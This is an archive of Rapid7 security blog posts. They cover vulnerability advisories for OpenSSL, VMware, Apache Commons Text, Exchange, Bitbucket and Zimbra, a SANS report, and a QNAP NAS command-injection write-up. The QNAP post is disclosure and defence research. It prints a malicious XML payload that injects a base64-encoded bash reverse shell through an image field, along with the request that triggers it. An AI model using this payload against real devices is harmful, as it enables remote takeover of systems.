Tag Archives: Vulnerability Risk Management

Rapid7 Added to Carahsoft GSA Schedule Contract

Post Syndicated from Rapid7 original https://blog.rapid7.com/2023/01/24/rapid7-added-to-carahsoft-gsa-schedule-contract/

Rapid7 Added to Carahsoft GSA Schedule Contract

We are happy to announce that Rapid7 has been added to Carahsoft’s GSA Schedule contract, making our suite of comprehensive security solutions widely available to Federal, State, and Local agencies through Carahsoft and its reseller partners.

“With the ever-evolving threat landscape, it is important that the public sector has the resources to defend against sophisticated cyber attacks and vulnerabilities,” said Alex Whitworth, Sales Director who leads the Rapid7 Team at Carahsoft.

“The addition of Rapid7’s cloud risk management and threat detection solutions to our GSA Schedule gives Government customers and our reseller partners expansive access to the tools necessary to protect their critical infrastructure.”

With the GSA contract award, Rapid7 is able to significantly expand its availability to Federal, State, Local, and Government markets. In addition to GSA, Rapid7 was recently added to the Department of Homeland Security (DHS) Continuous Diagnostics Mitigation’s Approved Products List.

“As the attack surface continues to increase in size and complexity, it’s imperative that all organizations have access to the tools and services they need to monitor risk across their environments,” said Damon Cabanillas, Vice President of Public Sector Sales at Rapid7.

“This contract award is a massive step forward for Rapid7 as we work to further serve the public sector.”

Rapid7 is available through Carahsoft’s GSA Schedule No. 47QSWA18D008F. For more information on Rapid7’s products and services, contact the Rapid7 team at Carahsoft at [email protected].

CVE-2022-3786 and CVE-2022-3602: Two High-Severity Buffer Overflow Vulnerabilities in OpenSSL Fixed

Post Syndicated from Rapid7 original https://blog.rapid7.com/2022/11/01/cve-2022-3786-and-cve-2022-3602-two-high-severity-buffer-overflows-in-openssl-fixed/

CVE-2022-3786 and CVE-2022-3602: Two High-Severity Buffer Overflow Vulnerabilities in OpenSSL Fixed

The Rapid7 research team will update this blog post as we learn more details about this vulnerability and its attack surface area. We expect to update this page next by 3 PM EDT on November 1, 2022.

The OpenSSL project released version 3.0.7 on November 1, 2022, to address CVE-2022-3786 and CVE-2022-3602, two high-severity vulnerabilities affecting OpenSSL’s 3.0.x version stream discovered and reported by Polar Bear and Viktor Dukhovni. OpenSSL is a widely used open-source cryptography library that allows for the implementation of secure communications online; this includes generating public/private keys and use of SSL and TLS protocols. (Currently, only the 1.1.1 and 3.0 version streams of OpenSSL are supported). The OpenSSL team warned maintainers and users on October 25 that a critical flaw was on the way — only the second to ever impact the product. Upon release, however, neither vulnerability carried a critical severity rating.

CVE-2022-3786 and CVE-2022-3602 are buffer overflow vulnerabilities in OpenSSL versions below 3.0.7 that both rely on a maliciously crafted email address in a certificate. They differ in two crucial ways: CVE-2022-3786 can overflow an arbitrary number of bytes on the stack with the "." character (a period), leading to denial of service, while CVE-2022-3602 allows a crafted email address to overflow exactly four attacker-controlled bytes on the stack. OpenSSL has a blog available here.

According to the OpenSSL advisory, the vulnerability occurs after certificate verification and requires either a CA to have signed the malicious certificate or for the application to continue certificate verification despite failure to construct a path to a trusted issuer. In other words, exploitability is significantly limited:

  • In the case where a server is the target (a webserver, database server, mail server, etc): The server must first request client authentication as part of a mutual authentication configuration. This is an unusual configuration, and usually specialized to higher-security use cases.
  • In the case where a client is the target (web browser, email reader, database connector, etc): The attacker would need to first coerce a vulnerable client to connect to a malicious server. This could be done through impersonation (MitM on the network, hijacking an existing resource, etc) or by providing an incentive for a person to click a link (through phishing, watering holes, etc).

For both scenarios, these kinds of attacks do not lend themselves well to widespread exploitation.

Once again, these vulnerabilities only affect the OpenSSL 3.0.x version stream, which has not yet been widely adopted. We are not aware of any exploitation in the wild at the time of the vulnerability’s release on November 1, 2022.

Affected products

  • OpenSSL versions 3.0.0 to 3.0.6 (fixed in 3.0.7)

A broad array of popular distributions and technologies use OpenSSL in their offerings, including many widely used Linux distributions. OpenSSL 1.x, which is unaffected, is still the most popular version stream in use. Major distribution maintainers will likely have individual updates out quickly, but we expect a long tail of advisories and trailing fixes as vendors update additional implementations. Community tracking efforts like this one from Royce Williams, or government tracking efforts like this one from NCSC-NL may also be helpful for following individual vendor impact or remediation communications.

Mitigation guidance

Organizations that are running an affected version of OpenSSL should update to 3.0.7 when practical, prioritizing operating system-level updates and public-facing shared services with direct dependencies on OpenSSL. Emergency patching is not indicated.

Rapid7 customers

Our engineering team is in the process of developing both authenticated and unauthenticated vulnerability checks to allow InsightVM and Nexpose customers to assess their exposure to CVE-2022-3786 and CVE-2022-3602. We expect these checks to be available in a content release today (November 1, 2022).

In the meantime, InsightVM customers can use Query Builder with the query software.description CONTAINS OpenSSL 3 to find potentially affected assets. Nexpose and InsightVM customers can create a Dynamic Asset Group with a filtered asset search looking for Software name contains OpenSSL 3.

Additionally, Nexpose and InsightVM customers can use the following SQL query in a SQL Query Export (Security Console -> Reports -> SQL Query Export) to identify whether they have (any version of) OpenSSL in their environments. This query will produce a CSV file with a list of assets containing installed software with “openssl” in its title, and the corresponding version previously found in scans or Insight Agent-based assessments:

SELECT da.sites AS "Site_Name", da.ip_address AS "IP_Address", da.mac_address AS "MAC_Address", da.host_name AS "DNS_Hostname", ds.vendor AS "Vendor", ds.name AS "Software_Name", ds.family AS "Software_Family", ds.version AS "Software_Version", ds.software_class AS "Software_Class" FROM dim_asset_software das JOIN dim_software ds USING(software_id) JOIN dim_asset da ON da.asset_id = das.asset_id WHERE ds.software_class LIKE '%' AND ds.name ILIKE '%openssl%' ORDER BY ds.name ASC

The Software_Version column of the CSV can be used to narrow the scope down to OpenSSL 3.x – note that this query may also return packages that are not OpenSSL proper, e.g. libgnutls-openssl27, that have a version number starting with 3 but do not correspond to 3.0.x of OpenSSL per se.

CVE-2021-39144: VMware Cloud Foundation Unauthenticated Remote Code Execution

Post Syndicated from Caitlin Condon original https://blog.rapid7.com/2022/10/27/cve-2021-39144-vmware-cloud-foundation-unauthenticated-remote-code-execution/

CVE-2021-39144: VMware Cloud Foundation Unauthenticated Remote Code Execution

On October 25, 2022, VMware published VMSA-2022-0027 on two vulnerabilities in its Cloud Foundation solution. By far the more severe of these is CVE-2021-39144, an unauthenticated remote code execution vulnerability with a CVSSv3 score of 9.8. The vulnerability arises from a deserialization flaw in an open-source library called XStream, which is used to serialize objects to XML and back again. According to VMware’s advisory, an unauthenticated endpoint that leverages XStream for input serialization in VMware Cloud Foundation (NSX-V) provides a vector for attackers to obtain remote code execution in the context of ‘root’ on the appliance.

Vulnerability details and a proof of concept for CVE-2021-39144 are publicly available from prominent security researchers. While we are not aware of exploitation as of October 27, the severity of the vulnerability combined with the popularity of VMware solutions makes it a highly attractive target for attackers. Notably, VMware has gone so far as to release a patch for end-of-life (EOL) products—a testament to the criticality of the issue.

Affected products

  • VMware Cloud Foundation 4.x
  • VMware Cloud Foundation (NSX-V) 3.11

End-of-life patch information is here.

Remediation

VMware Cloud Foundation customers should update to a fixed version immediately, without waiting for a typical patch cycle to occur. For additional information, see VMSA-2022-0027.

Rapid7 customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2021-39144 with an authenticated vulnerability check expected to be available in the October 27 content release.

CVE-2022-42889: Keep Calm and Stop Saying “4Shell”

Post Syndicated from Erick Galinkin original https://blog.rapid7.com/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/

CVE-2022-42889: Keep Calm and Stop Saying

CVE-2022-42889, which some have begun calling “Text4Shell,” is a vulnerability in the popular Apache Commons Text library that can result in code execution when processing malicious input. The vulnerability was announced on October 13, 2022 on the Apache dev list. CVE-2022-42889 arises from insecure implementation of Commons Text’s variable interpolation functionality—more specifically, some default lookup strings could potentially accept untrusted input from remote attackers, such as DNS requests, URLs, or inline scripts.

CVE-2022-42889 affects Apache Commons Text versions 1.5 through 1.9. It has been patched as of Commons Text version 1.10.

The vulnerability has been compared to Log4Shell since it is an open-source library-level vulnerability that is likely to impact a wide variety of software applications that use the relevant object. However, initial analysis indicates that this is a bad comparison. The nature of the vulnerability means that unlike Log4Shell, it will be rare that an application uses the vulnerable component of Commons Text to process untrusted, potentially malicious input. Additionally, JDK version matters for exploitability. Our team tested their proof-of-concept exploit across the following JDK versions:

  • JDK 1.8.0_341 – PoC works
  • JDK 9.0.4 – PoC works
  • JDK 10.0.2 – PoC works
  • JDK 11.0.16.1 – warning but works
  • JDK 12.0.2 – warning but works
  • JDK 13.0.2 – warning but works
  • JDK 14.0.2 – warning but works
  • JDK 15.0.2 – fails
  • JDK 16.0.2 – fails
  • JDK 17.0.4.1 – fails
  • JDK 18.0.2.1 – fails
  • JDK 19 – fails

Results were identical for OpenJDK.

In summary, much like with Spring4Shell, there are significant caveats to practical exploitability for CVE-2022-42889. With that said, we still recommend patching any relevant impacted software according to your normal, hair-not-on-fire patch cycle.

Technical analysis

The vulnerability exists in the StringSubstitutor interpolator object. An interpolator is created by the StringSubstitutor.createInterpolator() method and will allow for string lookups as defined in the StringLookupFactory. This can be used by passing a string “${prefix:name}” where the prefix is the aforementioned lookup. Using the “script”, “dns”, or “url” lookups would allow a crafted string to execute arbitrary scripts when passed to the interpolator object.

Since Commons Text is a library, the specific usage of the interpolator will dictate the impact of this vulnerability. As a toy proof of concept, consider:

CVE-2022-42889: Keep Calm and Stop Saying

While this specific code fragment is unlikely to exist in production applications, the concern is that in some applications, the `pocstring` variable may be attacker-controlled. In this sense, the vulnerability echoes Log4Shell. However, the StringSubstitutor interpolator is considerably less widely used than the vulnerable string substitution in Log4j and the nature of such an interpolator means that getting crafted input to the vulnerable object is less likely than merely interacting with such a crafted string as in Log4Shell.

Mitigation guidance

Organizations who have direct dependencies on Apache Commons Text should upgrade to the fixed version (1.10.0). As with most library vulnerabilities, we will see the usual tail of follow-on vendor advisories with upgrades for products that package vulnerable implementations of the library. We recommend that you install these patches as they become available, and prioritize any where the vendor indicates that their implementation may be remotely exploitable.

Rapid7 customers

Our engineering team is evaluating the feasibility of a vulnerability check.

Suspected Post-Authentication Zero-Day Vulnerabilities in Microsoft Exchange Server

Post Syndicated from Caitlin Condon original https://blog.rapid7.com/2022/09/29/suspected-post-authentication-zero-day-vulnerabilities-in-microsoft-exchange-server/

Suspected Post-Authentication Zero-Day Vulnerabilities in Microsoft Exchange Server

On Thursday, September 29, a Vietnamese security firm called GTSC published information and IOCs on what they claim is a pair of unpatched Microsoft Exchange Server vulnerabilities being used in attacks on their customers’ environments dating back to early August 2022. The impact of exploitation is said to be remote code execution. From the information released, both vulnerabilities appear to be post-authentication flaws. According to GTSC, the vulnerabilities are being exploited to drop webshells on victim systems and establish footholds for post-exploitation behavior.

There has been no formal communication from Microsoft confirming or denying the existence of the flaws as of 4:30 PM EDT on Thursday, September 29. Our own teams have not validated the vulnerabilities directly.

Notably, it appears that both vulnerabilities have been reported to (and accepted by) Trend Micro’s Zero Day Initiative (ZDI) for disclosure coordination and are listed on ZDI’s site as “Upcoming Advisories.” This lends credibility to the claim, as does the specificity of the indicators shared in the firm’s blog. You can view the two reported vulnerabilities on this page by searching ZDI’s advisories for ZDI-CAN-18802 and ZDI-CAN-18333.

We are monitoring for additional detail and official communications and will update this blog with further information as it becomes available.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

CVE-2022-36804: Easily Exploitable Vulnerability in Atlassian Bitbucket Server and Data Center

Post Syndicated from Ron Bowes original https://blog.rapid7.com/2022/09/20/cve-2022-36804-easily-exploitable-vulnerability-in-atlassian-bitbucket-server-and-data-center/

CVE-2022-36804: Easily Exploitable Vulnerability in Atlassian Bitbucket Server and Data Center

On August 24, 2022, Atlassian published an advisory for Bitbucket Server and Data Center alerting users to CVE-2022-36804. The advisory reveals a command injection vulnerability in multiple API endpoints, which allows an attacker with access to a public repository or with read permissions to a private Bitbucket repository to execute arbitrary code by sending a malicious HTTP request. CVE-2022-36804 carries a CVSSv3 score of 9.8 and is easily exploitable. Rapid7’s vulnerability research team has a full technical analysis in AttackerKB, including how to use CVE-2022-36804 to create a simple reverse shell.

According to Shodan, there are about 1,400 internet-facing servers, but it’s not immediately obvious how many have a public repository. There are no public reports of exploitation in the wild as of September 20, 2022, but there has been strong interest in the vulnerability from researchers and exploit brokers, and there are now multiple public exploits available. Because the vulnerability is trivially exploitable and the patch is relatively simple to reverse- engineer, it’s likely that targeted exploitation has already occurred in the wild. We expect to see larger-scale exploitation of CVE-2022-36804 soon.

Affected products:
Bitbucket Server and Data Center 7.6 prior to 7.6.17
Bitbucket Server and Data Center 7.17 prior to 7.17.10
Bitbucket Server and Data Center 7.21 prior to 7.21.4
Bitbucket Server and Data Center 8.0 prior to 8.0.3
Bitbucket Server and Data Center 8.1 prior to 8.1.3
Bitbucket Server and Data Center 8.2 prior to 8.2.2
Bitbucket Server and Data Center 8.3 prior to 8.3.1

Mitigation guidance

Organizations that use Bitbucket Server and Data Center in their environments should patch as quickly as possible using Atlassian’s guide, without waiting for a regular patch cycle to occur. Blocking network access to Bitbucket may also function as a temporary stop-gap solution, but this should not be a substitute for patching.

Rapid7 customers

Our engineering team is in the process of developing a vulnerability check for CVE-2022-36804. We will update this blog with further information as it becomes available.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Additional reading:

The 2022 SANS Top New Attacks and Threats Report Is In, and It’s Required Reading

Post Syndicated from Tom Caiazza original https://blog.rapid7.com/2022/09/14/the-2022-sans-top-new-attacks-and-threats-report-is-in-and-its-required-reading/

The 2022 SANS Top New Attacks and Threats Report Is In, and It's Required Reading

The latest Top New Attacks and Threat Report from the cybersecurity experts at SANS is here — and the findings around cyberthreats, attacks, and best practices to defend against them are as critical for security teams as they’ve ever been.

If you’re unfamiliar with the SysAdmin, Audit, Network, and Security Institute, or SANS, they’re among the leading cybersecurity research organizations in the world, and their annual Top New Attacks and Threat Report is required reading for every security professional operating today.

What’s new for 2022

This year’s report is a little different from previous years. Rather than focusing on threat statistics from the year before (i.e., 2021 data for the 2022 report), SANS opted to focus on data from the first quarter of 2022, providing a more recent snapshot of the state of play in the threat landscape. The reason for this is probably something you could have guessed: the pandemic.

Typically, the TNAT report (we love coming up with acronyms!) is built out of a highly anticipated presentation from SANS experts at the annual RSA conference. Since the pandemic delayed the start of the RSA event this year, the folks at SANS thought it better to focus on more up-to-the-minute data for their report.

What they found is interesting — if a little concerning.

Smaller breaches, bigger risks?

In the first quarter of 2022, the average breach size was down one-third from the overall breach size in 2021 (even adjusted for seasonal shifts in breach sizes). What’s more, there are signs of a trend in breach size decline, as 2021’s overall breach size average was 5% lower than that of 2020. SANS believes this is indicative of attackers focusing on smaller targets than in previous years, particularly in the healthcare sector and in state and local government agencies.

A lower average breach size is good news, no doubt, but what it says about the intentions of attackers should have many on edge. Going after smaller — but potentially more vulnerable — organizations means those groups are less likely to have the resources to repel those attackers that larger groups would, and they pose dangers as partner organizations.

The SANS experts suggest shoring up supplier compliance by following two well-established security frameworks: the Supply Chain Risk Management Reporting Framework provided by the American Institute of Certified Public Accountants (AICPA), and the National Institute of Standards and Technology’s (NIST’s) updated SP 800-161 Supply Chain Risk Framework.

The SANS report also provided telling and important data around the ways in which attackers enter your environment (phishing was the root of 51% of all breaches), as well as the success rate of multi-factor authentication — 99% — in combating phishing attacks.

The RSA panel discussion (and the subsequent report we’re sharing) also look into specific trends and best practices from some of SANS’s experts. In years past, they’ve looked at some key takeaways from the SolarWinds breach, ransomware, and machine learning vulnerabilities. This year, they’ve turned their attention to multi-factor authentication, stalkerware, and the evolution of “living off the land” attacks as they pertain to cloud infrastructure. Each of these sections is worth reading in its own right and can provide some thought-provoking resources as your security team continues to grapple with what comes next in the cloud and attacker spaces.

One space where the SANS experts chose to focus has particular importance to those seeking to mitigate ransomware: attacks on backups. Backups have long been considered your best defense against ransomware attacks because they allow your organization to securely resume use of your data should your environment become compromised (and your data be locked down). However, as backup infrastructure moves into the cloud, SANS experts believe unique attacks against these backups will become more common, because backup solutions are often quite complex and are vulnerable to specific types of threats, such as living-off-the-land attacks.

The annual SANS report is a reliable and instrumental resource for security teams which is why we are proud to be a sponsor of it (and offer it to the security community). You can dive into the full report here.

Additional reading:

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Active Exploitation of Multiple Vulnerabilities in Zimbra Collaboration Suite

Post Syndicated from Caitlin Condon original https://blog.rapid7.com/2022/08/17/active-exploitation-of-multiple-vulnerabilities-in-zimbra-collaboration-suite/

Active Exploitation of Multiple Vulnerabilities in Zimbra Collaboration Suite

Over the past few weeks, five different vulnerabilities affecting Zimbra Collaboration Suite have come to our attention, one of which is unpatched, and four of which are being actively and widely exploited in the wild by well-organized threat actors. We urge organizations who use Zimbra to patch to the latest version on an urgent basis, and to upgrade future versions as quickly as possible once they are released.

Exploited RCE vulnerabilities

The following vulnerabilities can be used for remote code execution and are being exploited in the wild.

CVE-2022-30333

CVE-2022-30333 is a path traversal vulnerability in unRAR, Rarlab’s command line utility for extracting RAR file archives. CVE-2022-30333 allows an attacker to write a file anywhere on the target file system as the user that executes unrar. Zimbra Collaboration Suite uses a vulnerable implementation of unrar (specifically, the amavisd component, which is used to inspect incoming emails for spam and malware). Zimbra addressed this issue in 9.0.0 patch 25 and 8.5.15 patch 32 by replacing unrar with 7z.

Our research team has a full analysis of CVE-2022-30333 in AttackerKB. A Metasploit module is also available. Note that the server does not necessarily need to be internet-facing to be exploited — it simply needs to receive a malicious email.

CVE-2022-27924

CVE-2022-27924 is a blind Memcached injection vulnerability first analyzed publicly in June 2022. Successful exploitation allows an attacker to change arbitrary keys in the Memcached cache to arbitrary values. In the worst-case scenario, an attacker can steal a user’s credentials when a user attempts to authenticate. Combined with CVE-2022-27925, an authenticated remote code execution vulnerability, and CVE-2022-37393, a currently unpatched privilege escalation issue that was publicly disclosed in October 2021, capturing a user’s password can lead to remote code execution as the root user on an organization’s email server, which frequently contains sensitive data.

Our research team has a full analysis of CVE-2022-27924 in AttackerKB. Note that an attacker does need to know a username on the server in order to exploit CVE-2022-27924. According to Sonar, it is also possible to poison the cache for any user by stacking multiple requests.

CVE-2022-27925

CVE-2022-27925 is a directory traversal vulnerability in Zimbra Collaboration Suite versions 8.8.15 and 9.0 that allows an authenticated user with administrator rights to upload arbitrary files to the system. On August 10, 2022, security firm Volexity published findings from multiple customer compromise investigations that indicated CVE-2022-27925 was being exploited in combination with a zero-day authentication bypass, now assigned CVE-2022-37042, that allowed attackers to leverage CVE-2022-27925 without authentication.

CVE-2022-37042

As noted above, CVE-2022-37042 is a critical authentication bypass that arises from an incomplete fix for CVE-2022-27925. Zimbra patched CVE-2022-37042 in 9.0.0P26 and 8.8.15P33.

Unpatched privilege escalation CVE-2022-37393

In October of 2021, researcher Darren Martyn published an exploit for a zero-day root privilege escalation vulnerability in Zimbra Collaboration Suite. When successfully exploited, the vulnerability allows a user with a shell account as the zimbra user to escalate to root privileges. While this issue requires a local account on the Zimbra host, the previously mentioned vulnerabilities in this blog post offer plenty of opportunity to obtain it.

Our research team tested the privilege escalation in combination with CVE-2022-30333 and CVE-2022-27924 at the end of July 2022 and found that at the time, all versions of Zimbra were affected through at least 9.0.0 P25 and 8.8.15 P32. Rapid7 disclosed the vulnerability to Zimbra on July 21, 2022 and later assigned CVE-2022-37393 (still awaiting NVD analysis) to track it. A full analysis of CVE-2022-37393 is available in AttackerKB. A Metasploit module is also available.

Mitigation guidance

We strongly advise that all organizations who use Zimbra in their environments update to the latest available version (at time of writing, the latest versions available are 9.0.0 P26 and 8.8.15 P33) to remediate known remote code execution vectors. We also advise monitoring Zimbra’s release communications for future security updates, and patching on an urgent basis when new versions become available.

The AttackerKB analyses for CVE-2022-30333, CVE-2022-27924, and CVE-2022-37393 all include vulnerability details (including proofs of concept) and sample IOCs. Volexity’s blog also has information on how to look for webshells dropped on Zimbra instances, such as comparing the list of JSP files on a Zimbra instance with those present by default in Zimbra installations. They have published lists of valid JSP files included in Zimbra installations for the latest version of 8.8.15 and of 9.0.0 (at time of writing).

Finally, we recommend blocking internet traffic to Zimbra servers wherever possible and configuring Zimbra to block external Memcached, even on patched versions of Zimbra.

Rapid7 customers

Our engineering team is in the investigation phase of vulnerability check development and will assess the risk and customer needs for each vulnerability separately. We will update this blog with more information as it becomes available.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Additional reading:

QNAP Poisoned XML Command Injection (Silently Patched)

Post Syndicated from Jake Baines original https://blog.rapid7.com/2022/08/04/qnap-poisoned-xml-command-injection-silently-patched/

Background

QNAP Poisoned XML Command Injection (Silently Patched)

CVE-2020-2509 was added to CISA’s Known Exploited Vulnerabilities Catalog in April 2022, and it was listed as one of the “Additional Routinely Exploited Vulnerabilities in 2021” in CISA’s 2021 Top Routinely Exploited Vulnerabilities alert. However, CVE-2020-2509 has no public exploit, and no other organizations have publicly confirmed exploitation in the wild.

QNAP Poisoned XML Command Injection (Silently Patched)

CVE-2020-2509 is allegedly an unauthenticated remote command injection vulnerability affecting QNAP Network Attached Storage (NAS) devices using the QTS operating system. The vulnerability was discovered by SAM and publicly disclosed on March 31, 2021. Two weeks later, QNAP issued a CVE and an advisory.

Neither organization provided a CVSS vector to describe the vulnerability. QNAP’s advisory doesn’t even indicate the vulnerable component. SAM’s disclosure says they found the vulnerability when they “fuzzed” the web server’s CGI scripts (which is not generally the way you discover command injection vulnerabilities, but I digress). SAM published a proof-of-concept video that allegedly demonstrates exploitation of the vulnerability, although it doesn’t appear to be a typical straightforward command injection. The recorded exploit downloads BusyBox to establish a reverse shell, and it appears to make multiple requests to accomplish this. That’s many more moving parts than a typical command injection exploit. Regardless, beyond affected versions, there are essentially no usable details for defender or attackers in either disclosure.

Given the ridiculous amount of internet-facing QNAP NAS (350,000+), seemingly endless ransomware attacks on the systems (Qlocker, Deadbolt, and Checkmate), and the mystery surrounding alleged exploitation in the wild of CVE-2020-2509, we decided to find out exactly what CVE-2020-2509 is. Instead, we found the below, which may be an entirely new vulnerability.

Poisoned XML command injection (CVE-2022-XXXX)



QNAP Poisoned XML Command Injection (Silently Patched)

The video demonstrates exploitation of an unauthenticated and remote command injection vulnerability on a QNAP TS-230 running QTS 4.5.1.1480 (reportedly the last version affected by CVE-2020-2509). We were unable to obtain the first patched version, QTS 4.5.1.1495, but we were able to confirm this vulnerability was patched in QTS 4.5.1.1540. However, we don’t think this is CVE-2020-2509. The exploit in the video requires the attacker be a man-in-the-middle or have performed a DNS hijack of update.qnap.com. In the video, our lab network’s Mikrotik router has a malicious static DNS entry for update.qnap.com.

QNAP Poisoned XML Command Injection (Silently Patched)

SAM and QNAP’s disclosures didn’t mention any type of man-in-the-middle or DNS hijacks. But neither disclosure ruled it out either. CVSS vectors are great for this sort of thing. If either organization had published a vector with an Attack Complexity of high, we’d know this “new” vulnerability is CVE-2020-2509. If they’d published a vector with Attack Complexity of low, we’d know this “new” vulnerability is not CVE-2020-2509. The lack of a vector leaves us unsure. Only CISA’s claim of widespread exploitation leads us to believe this is not is CVE-2020-2509. However, this “new” vulnerability is still a high-severity issue. It could reasonably be scored as CVSSv3 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H). While the issue was patched 15 to 20 months ago (patches for CVE-2021-2509 were released in November 2020 and April 2021), there are still thousands of internet-facing QNAP devices that remain unpatched against this “new” issue. As such, we are going to describe the issue in more detail.

Exploitation and patch

The “new” vulnerability can be broken down into two parts:

A remote and unauthenticated attacker can force a QNAP device to make an HTTP request to update.qnap.com, without using SSL, in order to download an XML file. Content from the downloaded XML file is passed to a system call without any sanitization.

Both of these issues can be found in the QNAP’s web server cgi-bin executable authLogin.cgi, but the behavior is triggered by a request to /cgi-bin/qnapmsg.cgi. Below is decompiled code from authLogin.cgi that highlights the use of HTTP to fetch a file.

QNAP Poisoned XML Command Injection (Silently Patched)

Using wget, the QNAP device will download a language-specific XML file such as http://update.qnap.com/loginad/qnapmsg_eng.xml, where eng can be a variety of different values (cze, dan, ger, spa, fre, ita, etc.). When the XML has been downloaded, the device then parses the XML file. When the parser encounters <img> tags, it will attempt to download the associated image using wget.

QNAP Poisoned XML Command Injection (Silently Patched)

The <img> value is added to a wget command without any type of sanitization, which is a very obvious command injection issue.

QNAP Poisoned XML Command Injection (Silently Patched)

The XML, if downloaded straight from QNAP, looks like the following (note that it appears to be part of an advertisement system built into the device):

<?xml version="1.0" encoding="utf-8"?>
<Root>
  <Messages>
    <Message>
      <img>http://update.qnap.com/loginad/image/1_eng.jpg</img>
      <link>http://www.qnap.com/en/index.php?lang=en&amp;sn=822&amp;c=351&amp;sc=513&amp;t=520&amp;n=18168</link>
    </Message>
    <Message>
      <img>http://update.qnap.com/loginad/image/4_eng.jpg</img>
      <link>http://www.qnap.com/en/index.php?lang=en&amp;sn=8685</link>
    </Message>
    <Message>
      <img>http://update.qnap.com/loginad/image/2_eng.jpg</img>
      <link>http://www.facebook.com/QNAPSys</link>
    </Message>
  </Messages>
</Root>

Because of the command injection issue, a malicious attacker can get a reverse shell by providing an XML file that looks like the following. The command injection is performed with backticks, and the actual payload (a bash reverse shell using /dev/tcp) is base64 encoded because / is a disallowed character.

​​<?xml version="1.0" encoding="utf-8"?>
<Root>
	<Messages>
		<Message>
			<img>/`echo -ne 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMi43MC4yNTIvMTI3MCAwPiYx' | base64 -d | sh`</img>
			<link>http://www.qnap.com/></link>
		</Message>
	</Messages>
</Root>

An attacker can force a QNAP device to download the XML file by sending the device an HTTP request similar to http://device_ip/cgi-bin/qnapmsg.cgi?lang=eng. Here, again, eng can be replaced by a variety of languages.

Obviously, the number one challenge to exploit this issue is getting the HTTP requests for update.qnap.com routed to an attacker-controlled system.

QNAP Poisoned XML Command Injection (Silently Patched)

Becoming a man-in-the-middle is not easy for a normal attacker. However, APT groups have consistently demonstrated that man-in-the-middle attacks are a part of normal operations. VPNFilter, FLYING PIG, and the Iranian Digator incident are all historical examples of APT attacking (or potentially attacking) via man-in-the-middle. An actor that has control of any router between the QNAP and update.qnap.com can inject the malicious XML we provided above. This, in turn, allows them to execute arbitrary code on the QNAP device.

QNAP Poisoned XML Command Injection (Silently Patched)

The other major attack vector is via DNS hijacking. For this vulnerability, the most likely DNS hijack attacks that don’t require man-in-the-middling are router DNS hijack or third-party DNS server compromise. In the case of a router DNS hijack, the attacker exploits a router and instructs it to tell all connected devices to use a malicious DNS server or malicious static routes (similar to our lab setup). Third-party DNS server compromise is more interesting because of its ability to scale. Both Mandiant and Talos have observed this type of DNS hijack in the wild. When a third-party DNS server is compromised, an attacker is able to introduce malicious entries to the DNS server.

QNAP Poisoned XML Command Injection (Silently Patched)

So, while there is some complexity to exploiting this issue, those complications are easily defeated by a moderately skilled attacker — which calls into question why QNAP didn’t issue an advisory and CVE for this issue. Presumably they knew about the vulnerability, because they made two changes to fix it. First, the insecure HTTP request for the XML was changed to a secure HTTPS request. That prevents all but the most advanced attackers from masquerading as update.qnap.com. Additionally, the image download logic was updated to use an execl wrapper called qnap_exec instead of system, which mitigates command injection issues.

QNAP Poisoned XML Command Injection (Silently Patched)

Indicators of compromise

This attack does leave indicators of compromise (IOCs) on disk. A smart attacker will clean up these IOCs, but they may be worth checking for. The downloaded XML files are downloaded to /home/httpd/RSS/rssdoc/. The following is an example of the malicious XML from our proof-of-concept video:

[[email protected] rssdoc]$ ls -l
total 32
-rw-r--r-- 1 admin administrators     0 2022-07-27 19:57 gen_qnapmsg_eng.xml
drwxrwxrwx 2 admin administrators  4096 2022-07-26 18:39 image/
-rw-r--r-- 1 admin administrators     8 2022-07-27 19:57 last_uptime.qnapmsg_eng.xml
-rw-r--r-- 1 admin administrators   229 2022-07-27 19:57 qnapmsg_eng.xml
-rw-r--r-- 1 admin administrators 18651 2022-07-27 16:02 wget.log
[[email protected] rssdoc]$ cat qnapmsg_eng.xml 
<?xml version="1.0" encoding="utf-8"?>
<Root>
<Messages>
<Message><img>/`(echo -ne 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMi43MC4yNTIvMTI3MCAwPiYx' | base64 -d | sh)&`</img><link>http://www.qnap.com/</link></Message></Messages></Root>

Similarly, an attack can leave an sh process hanging in the background. Search for malicious ones using ps | grep wget. If you see anything like the following, it’s a clear IOC:

[[email protected] rssdoc]$ ps | grep wget
10109 albinolo    476 S   grep wget
12555 admin      2492 S   sh -c /usr/bin/wget -t 1 -T 5 /`(echo -ne
'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMi43MC4yNTIvMTI3MCAwPiYx' | base64 -d |
sh)` -O /home/httpd/RSS/rssdoc/image/`(echo -ne
'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMi43MC4yNTIvMTI3MCAwPiYx' | base64 -d |
sh)`.tmp 1>>/dev/null 2>>/dev/null

Conclusion

Perhaps what we’ve described here is in part CVE-2020-2509, and that explains the lack of advisory from QNAP. Or maybe it’s one of the many other command injections that QNAP has assigned a CVE but failed to describe, and therefore denied users the chance to make informed choices about their security. It’s impossible to know because QNAP publishes almost no details about any of their vulnerabilities — a practice that might thwart some attackers, but certainly harms defenders trying to identify and monitor these attacks in the wild, as well as defenders who have to help clean up the myriad ransomware cases that are affecting QNAP devices.

SAM did not owe us a good disclosure (which is fortunate, because they didn’t give us one), but QNAP did. SAM was successful in ensuring the issue got fixed, and they held the vendor to a coordinated disclosure deadline (which QNAP consequently failed to meet). We should all be grateful to SAM: Even if their disclosure wasn’t necessarily what we wanted, we all benefited from their work. It’s QNAP that owes us, the customers and security industry, good disclosures. Vendors who are responsible for the security of their products are also responsible for informing the community of the seriousness of vulnerabilities that affect those products. When they fail to do this — for example by failing to provide advisories with basic descriptions, affected components, and industry-standard metrics like CVSS — they deny their current and future users full autonomy over the choices they make about risk to their networks. This makes us all less secure.

Disclosure timeline

  • July, 2022: Researched and discovered by Jake Baines of Rapid7
  • Thu, Jul 28, 2022: Disclosed to QNAP, seeking a CVE ID
